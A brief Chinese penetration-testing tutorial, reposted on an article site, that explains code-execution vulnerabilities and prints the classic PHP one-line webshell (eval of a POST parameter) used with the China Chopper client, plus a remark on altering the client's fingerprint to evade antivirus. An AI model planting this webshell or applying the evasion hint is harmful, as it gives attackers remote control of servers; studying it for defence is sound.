美文网首页
【渗透测试】-代码执行漏洞之初入茅庐

【渗透测试】-代码执行漏洞之初入茅庐

作者: lndyzwdxhs | 来源:发表于2017-08-11 13:34 被阅读26次

0x01：代码执行和命令执行的区别？

  • 命令执行是指系统cmd或者shell命令的执行，代码执行是指php代码执行函数eval、assert等

0x02：经典实例–>菜刀、一句话

  • php一句话：
<?php eval($_POST['pass']);?>
// 等价于
<?php
$code = $_POST['pass'];
eval($code);
?>
  • 菜刀的原理也就是给参数abc赋不同的值来执行命令，也就是得到webshell。
  • 可以通过抓包来分析菜刀传递的命令，如果自己想搞免杀，则需要修改菜刀的指纹，即修改发送的命令包。

欢迎关注微信公众号（coder0x00）或扫描下方二维码关注，我们将持续搜寻程序员必备基础技能包提供给大家。


相关文章

网友评论

      本文标题：【渗透测试】-代码执行漏洞之初入茅庐

      本文链接：https://www.haomeiwen.com/subject/ekilrxtx.html

      延伸阅读

      深度阅读

      • 您也可以注册成为美文阅读网的作者，发表您的原创作品、分享您的心情！

      栏目导航

      热点阅读

      关于我们|服务条款|联系我们|【渗透测试】-代码执行漏洞之初入茅庐|投稿指南|网站地图|RSS订阅|排版工具|手机版

      提供经典美文摘抄,优美散文欣赏,现代诗歌精选,短篇小说,心情随笔,表白情书范文,故事会在线阅读欣赏

      Copyright © 2014-2023 Haomeiwen.com All Rights Reserved. 好美文阅读网 版权所有

      备案信息：桂公网安备 45052102000051号 · 桂ICP备13007215号-3

      本站所收录作品、热点评论等信息部分来源互联网，目的只是为了系统归纳学习和传递资讯

      所有作品版权归原创作者所有，与本站立场无关，如不慎侵犯了你的权益，请联系我们告知，我们将做删除处理！